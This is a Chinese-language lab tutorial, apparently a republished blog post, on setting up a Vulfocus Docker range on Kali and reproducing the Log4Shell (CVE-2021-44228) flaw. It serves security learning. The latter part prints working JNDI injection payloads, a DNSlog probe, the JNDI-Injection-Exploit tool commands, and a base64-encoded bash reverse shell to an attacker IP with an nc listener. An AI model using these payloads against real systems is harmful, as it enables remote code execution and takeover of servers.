KALI搭建log4j2靶場及漏洞復現全流程

這里使用了兩臺KALI虛擬機,一臺用于安裝靶場環境,一臺用于攻擊

一、Docker的安裝(靶機)

1、Linux內核版本查看

#安裝docker要求內核版本kerner>=3.10
#為此,先檢查當前Linux系統的內核版本
uname -a

2、Linux apt源換源教程

#進入sources.lis重新編輯apt源
vim /etc/apt/sources.list
#直接CV大法寫入下面的apt源
#其他apt源
#此處僅添加中科達和阿里的,其他注釋掉#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib#清華大學
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free#浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free#東軟大學
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contribp.kali.org/kali kali-rolling main non-free contrib#重慶大學
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib

3、進行系統或工具的更新

#進行系統和工具的更新(比較久,去隔壁玩兩把游戲)
#注:當出現正在設定軟件包界面時,直接按tab+enter進行確認
apt-get update && apt-get upgrade && apt-get dist-upgrade#清除更新緩存
apt-get clean

4、采用apt安裝Docker

#這里采用apt安裝,因為之后采用apt源安裝Docker的其他組件時,新組件與已安裝的Docker容器最為匹配。
apt-get install docker docker-compose#或
apt-get install docker.io

5、檢驗Docker成功安裝

#啟動docker服務
service docker start
#列出docker現有鏡像
docker images
#運行hello-world鏡像
#但apt安裝的docker沒帶有hello-world默認鏡像呀,所以下面的命令不成功,它會幫你拉去該鏡像下來
docker run hello-world
由于各種網絡政策,在國內訪問DockerHub速度會非常緩慢,大家一般都會采取更換鏡像源的方式來進行加速。

運行時會報錯,需要配置docker鏡像加速

6、Docker換源教程

2024.6之后,由于政策的加強,大部分常見的鏡像源已經無法使用,如下圖:

截止2025.4.16,下列鏡像源均可用。(基于能否成功拉取hello-world進行測試)

DockerHub可用鏡像源匯總

http://docker.m.daocloud.io

http://docker.imgdb.de

docker-0.unsee.tech

http://docker.hlmirror.com

docker.1ms.run

func.ink

http://lispy.org

http://docker.xiaogenban1993.com

換源方法1-臨時換源

格式如下:(不要加上前綴https://

sudo docker pull+鏡像源地址+/+要拉取的鏡像名

例如:

鏡像源為“docker.m.daocloud.io”,要拉取的鏡像名為“hello-world”,

sudo docker pull docker.m.daocloud.io/hello-world

成功拉取,如下圖:

注意:此方法每次拉取鏡像時都需要指定相應的鏡像源

換源方法2-永久換源(推薦)

核心思想:修改docker的配置文件 daemon.json,將鏡像源地址寫入其中。

以ubuntu22.04為例,其余操作系統同理

1、創建目錄(如果已經有該目錄,則忽略此步驟)

sudo mkdir -p /etc/docker

知識點補充:添加“-p”,執行此命令會先檢查目錄是否存在。若不存在,則創建相應目錄;否則,不執行任何操作。因此不管是否有該目錄,直接執行此命令都沒問題,不會報錯

2、向配置文件寫入鏡像源

格式如下:(需要加上前綴https://

{"registry-mirrors": ["鏡像源1","鏡像源2"]
}

例如,根據2025.4.16最新測試的可用鏡像源,我在此給出命令行文本編輯器兩種操作方法。

下列兩種方法均可直接使用,不會報錯。

1. 方法一:直接命令行輸入

直接將下列文本粘貼到終端中,然后回車運行即可。

sudo tee /etc/docker/daemon.json <<-'EOF'
{"registry-mirrors": ["https://docker-0.unsee.tech","https://docker.m.daocloud.io","https://docker.imgdb.de","https://docker.hlmirror.com","https://docker.1ms.run","https://func.ink","https://lispy.org","https://docker.xiaogenban1993.com"]
}
EOF

知識點補充:<<-'EOF' 告訴 shell 接下來的所有內容會被傳遞到命令 tee,直到遇到標記 EOF 為止,用于將多行內容作為輸入傳遞給命令。所以不需要擔心輸入一行之后系統就開始執行命令。 此外,若daemon.json文件不存在,直接使用tee命令不會報錯,而是會創建名為daemon.json的文件。

2. 方法二:通過文本編輯器打開daemon.json,然后粘貼

首先打開配置文件:

sudo nano /etc/docker/daemon.json

然后直接粘貼下列內容:

{"registry-mirrors": ["https://docker.m.daocloud.io","https://docker.imgdb.de","https://docker-0.unsee.tech","https://docker.hlmirror.com","https://docker.1ms.run","https://func.ink","https://lispy.org","https://docker.xiaogenban1993.com"]
}

知識點補充:若daemon.json文件不存在,直接使用nano命令不會報錯,而是會創建名為daemon.json的文件。

1、重啟docker服務

sudo systemctl daemon-reload && sudo systemctl restart docker

    2、驗證

    sudo docker pull hello-world

    出現下圖,即為成功!

    安裝vulfocus鏡像

    docker pull vulfocus/vulfocus:latest

    二、搭建Vulfocus靶場并配置vulfocus漏洞環境(靶機)

    1、安裝vulfocus鏡像

    docker pull vulfocus/vulfocus:latest

    2、運行vulfocus

    docker create -p 8888:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=172.17.0.1 vulfocus/vulfocus
    各個參數的簡單解釋:
    -p :前邊的端口代表物理機的端口,后邊的端口是docker的端口
    -v :/var/run/docker.sock:/var/run/docker.sock為docker交互連接。
    -e:
    VUL_IP=172.17.0.1 為Docker服務器 IP,不能為 127.0.0.1。
    vulfocus/vulfocus是上面的倉庫鏡像名,也可以用鏡像ID。

    可以用ifconfig命令來確認當前的docker服務器ip:

    接著用這個命令來查看當前docker的所有服務,可以看到我們剛剛起的服務:

    docker ps -a

    運行vulfocus容器:

    docker start 6cbc5770a44e 

    狀態為up,代表成功啟動。
    由本地的8888端口映射到docker的80端口
    最后訪問在主機訪問虛擬機IP的8888端口即可:

    默認賬號密碼admin/admin

    初始賬號密碼登進來以后,空空的,需要自己添加漏洞環境進來。

    3、添加鏡像

    點擊鏡像管理模塊,直接一鍵同步,就是官方的所有漏洞環境,反正點這個就好了:

    同步之后,刷新頁面,就可以看到漏洞環境了,挑選自己喜歡的一個一個下載就好,我這里下載了log4j2環境
    也可以點擊添加,直接一鍵導入,這個就很久了,最好在WiFi環境下下載吧,流量多的大佬另當別論哈

    啟動后會生成一個端口號

    在虛擬機IP后加上端口就可以打開靶機了

    三、KALI中maven 的安裝與配置(攻擊機)

    1、在另一臺kali上下載 maven 安裝包(作為攻擊機)

    wget https://dlcdn.apache.org/maven/maven-3/3.9.4/binaries/apache-maven-3.9.4-bin.tar.gz

    2、解壓 apache-maven-3.9.4-bin.tar.gz

    tar -zxvf apache-maven-3.9.4-bin.tar.gz

    找到文件解壓到的位置,由于解壓時我們沒有指定路徑,因此默認解壓到當前路徑下

    可以看到路徑為:/root/apache-maven-3.9.4

    (看你自己把文件壓縮包下載到哪里,在哪里進行解壓的)

    3、修改配置文件 /etc/profile

    vim /etc/profile

    在配置文件中加上:

    export MAVEN_HOME=/root/apache-maven-3.9.4 # 你自己文件解壓后所在的位置
    export PATH=$MAVEN_HOME/bin:$PATH

    4、wq保存退出后,刷新配置文件,以確保修改生效

    source /etc/profile

    5、檢測是否安裝成功,查看 maven 版本

    mvn -version

    6、這里存在一個問題,當我們重啟一個終端時,發現 mvn 命令依舊無法識別

    使用命令

    sudo apt-get install maven

    重啟客戶機

    四、Log4j2遠程命令執行(CVE-2021-44228)漏洞復現(攻擊機)

    1、啟動環境

    點擊問號跳轉


    發現url會出現變化

    schema 是查找jndi對象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi幾種schema。

    漏洞利用語句如下(替換 schema://url):

    ${jndi:schema://url}

    驗證是否存在Log4j2遠程代碼執行,首先在DNSlog獲取一個域名。

    DNSLog PlatformDNSLog平臺http://dnslog.cn/

    輸入下面的內容,注意替換你自己獲得的域名

    ${jndi:ldap://${sys:java.version}.eee2rj.dnslog.cn}

    這里注意,進行url編碼

    Java程序解析這個表達式時,會將 ${sys:java.version} 替換為當前 JVM 的實際版本號,這樣你在DNSlog就能看到相關信息

    2、JNDI 注入工具安裝

    首先安裝 JNDI 注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

    git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

    切換到 JNDI-Injection-Exploit 目錄

    cd JNDI-Injection-Exploit

    編譯安裝,在該目錄下執行如下命令

    mvn clean package -DskipTests

    編譯安裝完成后,我們會得到一個 jar 文件

    位置在:/root/JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

    在運行結果的最后是這樣:

    切換進入到 target 目錄:

    cd target

    3、工具用法

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要執行的命令" -A "攻擊機的ip"

    4、服務站點部署

    反彈 shell 到目標主機端口,大家注意改成自己的IP和端口,這里以 7777 端口為例

    bash -i >& /dev/tcp/192.168.217.134/7777 0>&1

    對命令進行 base64 編碼 (命令必須經過編碼,不然無法實現)

    Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

    Runtime.exec Payload Generater | AresX's BlogThere is no descriptionhttps://ares-x.com/tools/runtime-exec

    得到

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

    將想要執行的命令替換成我們得到的 payload,以及填上我們的攻擊機ip

    利用 JNDI 注入工具把這個反彈 shell 命令部署到 LDAP 服務上

    在 target 目錄下,執行如下命令:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.217.134"

    4、開啟端口監聽

    再開一個終端,監聽我們對應的端口(我這里的 payload 里為 7777)

    nc -lvvp 7777

    5、反彈shell

    使用上述給出的 payload 路徑構造完整 payload

    比如:

    ${jndi:rmi://192.168.217.134:1099/lzdfyj}
    ${jndi:ldap://192.168.217.134:1389/qtbchd}

    我們可以針對不同版本和不同情況使用不同的服務和不同的 payload

    url編碼

    成功反彈shell

    本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
    如若轉載,請注明出處:http://www.pswp.cn/diannao/79173.shtml
    繁體地址,請注明出處:http://hk.pswp.cn/diannao/79173.shtml
    英文地址,請注明出處:http://en.pswp.cn/diannao/79173.shtml

    如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

    相關文章

    學習筆記—C++—模板初階

    目錄 模板初階 泛型編程 函數模板 模版概念 函數模版格式 模版的原理 函數模板的實例化 模版參數的匹配規則 類模板 模板初階 泛型編程 使用函數重載雖然可以實現&#xff0c;但是有一下幾個不好的地方&#xff1a; 1. 重載的函數僅僅是類型不同&#xff0c;代碼復…

    Docker 中多個容器之間的通信

    在 Docker 中&#xff0c;多個容器之間的通信可以通過以下幾種主要方式實現&#xff0c;具體選擇取決于網絡需求、隔離性及管理復雜度&#xff1a; 一、自定義 Bridge 網絡&#xff08;推薦&#xff09; 通過創建自定義的 Docker 網絡&#xff0c;容器可以加入同一網絡并通過容…

    Day1-初次接觸UFS

    經過導師初次介紹&#xff0c;了解工作以芯片測試為主&#xff0c;需堅持學習&#xff0c;小白大致需3-6月入門。整體學習應分為3大塊&#xff0c;UFS協議占40%&#xff08;3-4h&#xff09;,C技能占40%&#xff08;3-4h&#xff09;,工具或業務占20%&#xff08;1-2h&#xff…

    【LeetCode 熱題100】二叉樹構造題精講:前序 + 中序建樹 有序數組構造 BST(力扣105 / 108)(Go語言版)

    &#x1f331; 二叉樹構造題精講&#xff1a;前序 中序建樹 & 有序數組構造 BST 本文圍繞二叉樹的兩類構造類題目展開解析&#xff1a; 從前序與中序遍歷序列構造二叉樹 將有序數組轉換為二叉搜索樹 我們將從「已知遍歷構造樹」和「平衡構造 BST」兩個角度&#xff0c;拆…

    JMeter重要的是什么

    重要特性 支持多種協議&#xff1a; JMeter支持對多種協議進行性能測試&#xff0c;包括HTTP、HTTPS、FTP、JDBC&#xff08;數據庫&#xff09;、LDAP、JMS、SOAP、REST等。這使得它能夠適應各種不同的測試場景。強大的負載模擬能力&#xff1a; JMeter能夠模擬大量的虛擬用戶…

    一文讀懂WPF系列之MVVM

    WPF MVVM 什么是MVVMWPF為何使用MVVM機制WPFMVVM 的實現手段 INotifyPropertyChanged?數據綁定的源端通知??原理 PropertyChanged事件雙向綁定的完整條件常見疑惑問題 什么是MVVM 翻譯全稱就是 model-view-viewmodel 3部分內容 以wpf的概念角度來解釋就是 數據庫數據源模型…

    OCR API識別對比

    OCR 識別DEMO OCR識別 demo 文檔由來 最開始想使用百度開源的 paddlepaddle大模型 研究了幾天&#xff0c;發現表格識別會跨行&#xff0c;手寫識別的也不很準確。最終還是得使用現成提供的api。。 文檔說明 三個體驗下來 騰訊的識別度比較高&#xff0c;不論是手寫還是識別表…

    嵌入式MCU常用模塊

    日后填坑。 無線通信模塊 2.4G 基本介紹 以NRF24L01為例。 NRF24L01是一款2.4GHz的無線收發模塊&#xff0c;支持SPI通信協議&#xff0c;具有低功耗、高數據速率&#xff08;250kbps-2Mbps&#xff09;和多設備通信能力。 它可以同時與最多6個其他模塊通信&#xff0c;適合…

    記一次InternVL3- 2B 8B的部署測驗日志

    測試效果&#xff1a; 問題和耗時如圖 5、資源占用 不釋放資源會一直漲顯存。總體還算滿意&#xff0c;我試了好多個圖理解大模型&#xff0c;就屬它牛一點 附圖一張 補充&#xff0c;測試InternVL3-2B的結果 1、模型下載魔搭社區 2、運行環境&#xff1a; 1、硬件 RTX 30…

    Java版本對應關系表

    Java版本對應關系表 以下Java主要版本&#xff08;Major Version&#xff09;與公開大版本號的對應關系 公開大版本名稱Major 版本號內部版本號格式示例&#xff08;java -version輸出&#xff09;Java 8 (1.8)52 (0x34)1.8.0_XXX1.8.0_301Java 953 (0x35)9.0.X9.0.4Java 105…

    2025最新版flink2.0.0安裝教程(保姆級)

    Flink支持多種安裝模式。 local&#xff08;本地&#xff09;——本地模式 standalone——獨立模式&#xff0c;Flink自帶集群&#xff0c;開發測試環境使用 standaloneHA—獨立集群高可用模式&#xff0c;Flink自帶集群&#xff0c;開發測試環境使用 yarn——計算資源統一…

    android11 配置默認電池優化白名單

    目錄 1.介紹 2.讀取配置文件 3.默認配置一個白名單列表 1.介紹 在 Android 11 中,DeviceIdleController 是負責控制設備進入 Doze 模式(閑置模式) 的核心系統服務,其內部方法 readConfigFileLocked() 負責從配置文件中讀取 Doze 模式的行為參數,包括 idle 階段的時間間…

    java中的Future的設計模式 手寫一個簡易的Future

    案例 例如&#xff1a;今天是小妹的生日&#xff0c;需要一個蛋糕有點儀式感&#xff0c;于是去蛋糕店預定&#xff0c;預定完之后&#xff0c;店老板說蛋糕做好了&#xff0c;到時電話通知你&#xff0c;不可能在這傻傻的等著吧&#xff0c;還有其他事情要做啊&#xff0c;于…

    【Redis】Redis C++使用

    一、Redis的自定義網絡協議 1.1 為什么可以編寫出一個自定義的Redis客戶端 為什么我們可以編寫出一個自定義的Redis客戶端&#xff1f;因為Redis公開了自己的自定義協議。而對于一些其他軟件的客戶端&#xff0c;我們無法編寫出一個自定義的Redis客戶端&#xff0c;因為他們沒…

    【軟考系統架構設計師】軟件工程知識點

    1、 軟件開發生命周期 軟件定義時期&#xff1a;包括可行性研究和詳細需求分析過程&#xff0c;任務是確定軟件開發工程必須完成的總目標&#xff0c;具體分為問題定義、可行性研究、需求分析等 軟件開發時期&#xff1a;軟件的設計與實現&#xff0c;分為概要設計、詳細設計、…

    DeepSeek 與開源:肥沃土壤孕育 AI 碩果

    當國產 AI DeepSeek 以其低成本推理和多模態能力在全球范圍內引起轟動時&#xff0c;人們驚嘆于中國技術的迅猛發展&#xff0c;卻很少有人深究這一成就背后的根基。答案其實早已寫在中國開源生態二十多年的發展歷程中。 從倪光南院士提出“以開源打破技術壟斷”的理念&#x…

    職坐標:智慧城市未來發展的核心驅動力

    內容概要 智慧城市的演進正以顛覆性創新重構人類生存空間&#xff0c;其發展脈絡由物聯網、人工智能與云計算三大技術支柱交織而成。這些技術不僅推動城市治理從經驗決策轉向數據驅動模式&#xff0c;更通過實時感知與智能分析&#xff0c;實現交通、能源等領域的精準調控。以…

    vue復習46~90

    1.小兔鮮 所有都折疊 ctrl k,ctrl0 所有都展開 ctrl k,ctrlj當前結構渲染5次 <BaseBrandItem v-for"item in 5" :key"item"><BaseBrandItem>2.scoped樣式沖突 結構&#xff1a;只能有一個根元素樣式&#xff1a;全局樣式(默認)&#xff1…

    PHP 用 workman 即時通訊,做個簡版QQ

    1. workman是什么 &#xff0c;一般應用在那些地方 workerman是一個高性能的PHP socket 服務器框架&#xff0c;workerman基于PHP多進程以及libevent事件輪詢庫&#xff0c;PHP開發者只要實現一兩個接口&#xff0c;便可以開發出自己的網絡應用&#xff0c;例如Rpc服務、聊天室…

    【WORD】批量將doc轉為docx

    具體步驟進行&#xff1a; 打開Word文檔&#xff0c;按下AltF11快捷鍵&#xff0c;打開VBA編輯器。在VBA編輯器中&#xff0c;左側的“項目資源管理器”窗口會顯示當前打開的Word文檔相關項目。找到您要添加代碼的文檔項目&#xff08;通常以文檔名稱命名&#xff09;&#xf…